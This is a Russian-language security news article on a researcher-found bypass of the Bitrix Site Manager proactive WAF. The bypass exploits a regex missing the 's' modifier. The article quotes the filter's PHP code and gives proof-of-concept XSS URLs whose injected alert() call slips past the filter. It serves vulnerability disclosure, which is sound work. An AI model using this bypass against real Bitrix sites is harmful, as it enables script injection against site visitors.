Метод заключается в эксплуатации ошибки в регулярном выражении.
Эксперты компании High-Tech Bridge обнаружили способ обхода проактивного фильтра (Bitrix WAF), используемого в системе управления сайтами Bitrix Site Manager (Bitrix24). Метод заключается в эксплуатации ошибки в регулярном выражении.
В ходе одного из аудитов исследователи столкнулись с сайтом на базе Bitrix Site Manager с самописным кодом, содержащим множественные XSS-уязвимости, однако встроенный проактивный фильтр существенно затруднял их эксплуатацию. Уязвимый код имел примерно такую структуру:
<script>
P1='<?=$_GET['P1']?>'; P2=<?=$_GET['P2']?>; P3=<?=$_GET['P3']?>;
</script>
Как видно, XSS присутствуют в трех параметрах. Bitrix WAF успешно блокировал все классические попытки эксплуатации (срабатывали правила, основанные на обработке содержимого страницы post_filter).
Обработка содержимого страницы происходит в следующей функции:
protected function isDangerBody($body) { if (self::isFoundInString($body, $this->quotedSearches)) { return true; } else if (!empty($this->searches)) { $bodyWithoutQuotes = $this->removeQuotedStrings($body, false); if (self::isFoundInString($bodyWithoutQuotes, $this->searches)) { return true; } } return false; }
На вход этой функции попадает содержимое всех JavaScript-кодов на странице. Функция блокирует JavaScript, заменяя его строкой <!-- deleted by bitrix WAF -->) в случае, если:
JavaScript-код содержит любую входную переменную с кавычками;
JavaScript-код содержит вне строковых выражений (кроме чисел и строк длиной мене трех символов) любую входную переменную без кавычек.
Для второй проверки используется функция removeQuotedStrings:
public function removeQuotedStrings($string, $isSaveQuotes = true) { if($isSaveQuotes) { $this->quotes = array(); return preg_replace_callback('/( "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" # match double quoted string ; | \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\' # match single quoted string )/x', array($this, "pushQuote"), $string); } else { return preg_replace('/( "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" # match double quoted string | \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\';# match single quoted string )/x', '', $string); } }
Функция удаляет из анализируемого текста все строки и возвращает для анализа получившийся результат, содержащий исключительно выполняемые конструкции JavaScript. Метод правильно обрабатывает вложенные кавычки и другие символы, последовательности обратных слешей и пр. Однако, как заметили исследователи, из-за отсутствия модификатора «s» в регулярном выражении символ точка будет совпадать со всеми символами, кроме перевода строки. Если после обратного слеша будет стоять перевод строки, то строка не будет захвачена регулярным выражением.
Вход:
P1='xxx\
'; P2=11; P3=22;
Выход:
P1='xxx\
'; P2=11; P3=22;
Можно проэксплуатировать с помощью PoC-кода
test.php?P1=xxx\%0A%0D&P2=11&P3=33
Если добавить еще одну кавычку, метод removeQuotedStrings вернет строку с вырезанной выполняемой частью JavaScript-кода (вместо строк) и позволит обойти вторую часть фильтрации в функции isDangerBody().
Вход:
P1='xxx\
';CODECODE'; P2=11; P3=22;
P1='xxx\';alert(/ImmuniWeb/)'; P2=11; P3=22;
Выход:
P1='xxx\
; P2=11; P3=22;
P1='xxx\
; P2=11; P3=22;
Однако PoC-код
test.php?P1=xxx\%0A%0D';alert(/ImmuniWeb/);'&P2=11&P3=33не сработает, поскольку параметр P1 содержит кавычку, а значит его поиск будет осуществятся по необработанной строке (первая часть фильтрации isDangerBody).
Остаются еще два параметра для манипуляции. В один можно внедрить переводы строки и кавычки, а в другой – выполняемый JavaScript-код. Можно также исключить любой параметр из анализа, сделав его длину менее чем три символа.
Вход:
P1='\
'; P2=11; P3=22;
P1='\
'; P2=11; P3=';
P1='\
'; P2=CODECODECODE; P3=';
P1='\
'; P2=alert(/ImmuniWeb/); P3=';
Выход:
P1='\
'; P2=11; P3=22;
P1='xxx\
;
P1='xxx\
;
P1='xxx\
;
В случае отсутствия кавычек из анализа проактивного фильтра параметр P2 исключается полностью. Последней строке таблицы соответствует PoC-код
test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3='
С целью избежать синтаксической ошибки в JavaScript-коде в последний параметр нужно добавить еще одну кавычку. PoC-код test.php?P1=\%0A&P2=alert(/ImmuniWeb/)&P3='' будет соответствовать следующему коду HTML:
<script>
P1='\
'; P2=alert(/ImmuniWeb/); P3='';
</script>
Данный JavaScript-код является корректным, а PoC-код не блокируется проактивным фильтром. Значения P1 и P3 не подвергаются анализу, поскольку их длина менее трех символов. Вследствие описанной выше ошибки в регулярном выражении значение параметра P2 целиком исключается из анализа в случае отсутствия кавычек.
И мы тоже не спим, чтобы держать вас в курсе всех угроз